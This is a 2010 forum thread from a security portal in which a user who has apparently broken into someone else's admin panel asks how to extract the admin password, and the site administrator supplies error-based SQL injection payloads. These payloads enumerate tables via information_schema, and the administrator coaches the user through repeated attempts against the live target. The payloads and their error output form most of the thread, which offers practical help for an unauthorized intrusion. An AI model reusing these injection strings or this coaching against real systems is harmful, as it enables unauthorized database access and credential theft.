Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 29, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 800
Members: 0
Total: 800
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Found possible SQL injection inside admin form field
Post new topic  Reply to topic View previous topic :: View next topic 
Found possible SQL injection inside admin form field
PostPosted: Thu Oct 14, 2010 9:34 am Reply with quote
sabb3r
Beginner
Beginner
 
Joined: Oct 14, 2010
Posts: 3




Alright, been ripping my hair out with this injection, its from an admin panel which I managed to get into which contains the mysql connection settings for the app, I have tried all the union, select etc.. syntax and still not getting anywhere..

this is the error I get if I insert ' into the field which asks for table prefix...

Could not create DB table '\'bans'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'bans (created timestamp(14) NOT NULL, userid int(11) default NULL, banneduseri' at line 1

I already have the DB name, user, pass but mysql doesnt allow remote connections so its pretty usless? Obviously trying to get the admin password, anyone have any suggestions? Getting a full list of tables would be a start...
View user's profile Send private message
PostPosted: Thu Oct 14, 2010 5:50 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




It seems, that you are able to manipulate with "CREATE TABLE" sql query.
I did some tests @localhost and successful exploitation was possible.

You have error feedback from target server, so you can see sql error messages? Try this two test strings:

Code:

foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)--

foo SELECT IF(0,(SELECT 1 UNION ALL SELECT 1),1)--


Do you see error message "#1242 - Subquery returns more than 1 row"?

More advanced test:

Code:

foo SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 2,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x--


It should reveal one of the table names from current database:

Code:

#1062 - Duplicate entry 'cpg14x_bridge1' for key 1


Please let me know about results and be sure to include sql error messages.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Oct 15, 2010 3:29 am Reply with quote
sabb3r
Beginner
Beginner
 
Joined: Oct 14, 2010
Posts: 3




You are a legend warexe, thanks for your quick response!

The first test I did the error came as

first test results -

Could not create DB table 'foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)-- bans'
Subquery returns more than 1 row

after attempting it again...

Could not create DB table 'foo SELECT IF(1,(SELECT 1 UNION ALL SELECT 1),1)-- bans'
Table 'foo' already exists

second test -

Could not create DB table 'foo SELECT IF(0,(SELECT 1 UNION ALL SELECT 1),1)-- connections'
Table 'foo' already exists

third test -

Could not create DB table 'foo SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 2,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x-- bans'
Table 'foo' already exists
View user's profile Send private message
PostPosted: Fri Oct 15, 2010 8:49 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Well, as sideproduct, you will have new tables created.
If you can drop those new tables, like 'foo', then do it.
Or use different table name every time:
foo01,foo02,foo03 ...

Try that last test, that I was suggesting, with different table name, as explained above. If you see sql error message, let me know.
"Subquery returns more ..." error message is good sign and shows, that
target system acts as expected.
View user's profile Send private message Send e-mail Visit poster's website
Found possible SQL injection inside admin form field
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.122 Seconds